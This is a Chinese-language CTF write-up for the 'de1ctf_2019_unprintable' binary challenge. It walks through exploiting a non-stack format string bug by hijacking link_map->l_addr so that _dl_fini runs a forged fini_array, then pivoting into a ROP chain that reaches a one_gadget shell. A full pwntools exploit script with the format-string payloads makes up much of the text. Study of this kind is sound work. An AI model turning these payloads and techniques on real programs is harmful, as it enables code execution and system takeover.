首先,检查一下程序的保护机制
然后,我们用IDA分析一下,存在一个非栈上的格式化字符串漏洞,但是关闭了文件描述符1,导致不能输出,并且printf结束后就调用了exit(0)
看看栈里有没有什么可用的数据
基本没有,要想劫持printf返回地址进而多次利用,是不行的,因为printf一次性不能实现,即不能修改栈中数据指向printf返回地址后继续利用新得到这个地址取修改printf返回地址,即其不具有传递性,其值依然是之前的值,因此必须分步。
在这里,我们发现一个有用的指针,[该指针指向的地方正好就对应着dl的linkmap->l_addr]{.mark}
exit会调用dl_fini函数,我们看看dl_fini函数的源码
本来l->l_addr为0,而l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指针指向程序中的fini_array段的地址,也就是l->l_info[DT_FINI_ARRAY]->d_un.d_ptr的值为0x0000000000600DD8
现在,我们劫持l_addr,使得l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr偏移到我们的buf里,这样,我们就能在buf里伪造fini_array,进而进行二次利用。
因此,第一次,我们的payload为
1 2 3
| payload ='%'+str(0x298)+'c'+'%26$hn' payload = payload.ljust(16,'\x00')+p64(0x00000000004007A3) sh.sendline(payload)
|
这样做以后,l->addr变成了0x298,l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr处就偏移到了我们buf里,而此处我们布下了地址0x00000000004007A3,于是0x00000000004007A3处会被执行。
当第二次回到printf的时候,栈里已经有许多成链的栈地址可以用了,并且,有一个直接指向了printf的返回地址,我们可以直接利用。
这样,我们就在buf里布置下rop,然后利用printf成链攻击劫持函数栈迁移返回到buf里执行rop。
其中有一个gadget,我们可以用来将bss段上的stdout指针改成one_gadget地址,然后在csu里面进行call即可。
.text:00000000004006E8 adc [rbp+48h], edx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89
| from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
pop_rsp = 0x000000000040082d csu_pop = 0x000000000040082A csu_call = 0x0000000000400810 stderr_ptr_addr = 0x0000000000601040 one_gadget = 0xf1147 offset = one_gadget - libc.sym['_IO_2_1_stderr_']
'''.text:00000000004006E8 adc [rbp+48h], edx .text:00000000004006EB mov ebp, esp .text:00000000004006ED call deregister_tm_clones .text:00000000004006F2 pop rbp .text:00000000004006F3 mov cs:completed_7594, 1 .text:00000000004006FA rep retn ''' adc_p_rbp_edx = 0x00000000004006E8
sh = process('./de1ctf_2019_unprintable')
sh.recvuntil('This is your gift: ') stack_addr = int(sh.recvuntil('\n',drop = True),16) print 'stack_addr=',hex(stack_addr)
payload ='%'+str(0x298)+'c'+'%26$hn' payload = payload.ljust(16,'\x00')+p64(0x00000000004007A3) sh.sendline(payload) sleep(0.5) rop_addr = 0x0000000000601260
rop = p64(csu_pop) tmp = stderr_ptr_addr-0x48 rop += p64(tmp-1) rop += p64(tmp) rop += p64(rop_addr + 0x8 * 6 - tmp * 8 + 0x10000000000000000) rop += p64(offset + 0x10000000000000000) rop += p64(adc_p_rbp_edx) rop += p64(0) rop += p64(csu_call)
rop += p64(csu_pop) rop += p64(0) rop += p64(1) rop += p64(stderr_ptr_addr) rop += p64(0) rop += p64(0) rop += p64(0) rop += p64(csu_call)
rop_addr = rop_addr - 0x18
stdout_ptr_addr = 0x0000000000601020 payload = '%' + str(0xA3) + 'c%23$hhn' payload = payload.ljust(0x200,'\x00') payload += rop sh.sendline(payload) sleep(0.5)
for i in range(6): data = (stack_addr - 0x118 + i) & 0xFF if data < 0xA3: payload = '%' + str(data) + 'c%18$hhn%' + str(0xA3-data) + 'c%23$hhn' else: payload = '%' + str(data) + 'c%23$hhn%' + str(data-0xA3) + 'c%18$hhn' sh.sendline(payload) sleep(0.5) data = rop_addr & 0xFF if data == 0: payload = '%13$hhn%' + str(0xA3) + 'c%23$hhn' else: if data < 0xA3: payload = '%' + str(data) + 'c%13$hhn%' + str(0xA3-data) + 'c%23$hhn' else: payload = '%' + str(data) + 'c%23$hhn%' + str(data-0xA3) + 'c%13$hhn' rop_addr = rop_addr >> 0x8 sh.sendline(payload) sleep(0.5) sleep(0.5)
payload = '%' + str(pop_rsp & 0xFFFF) + 'c%23$hn' sh.sendline(payload)
sh.interactive()
|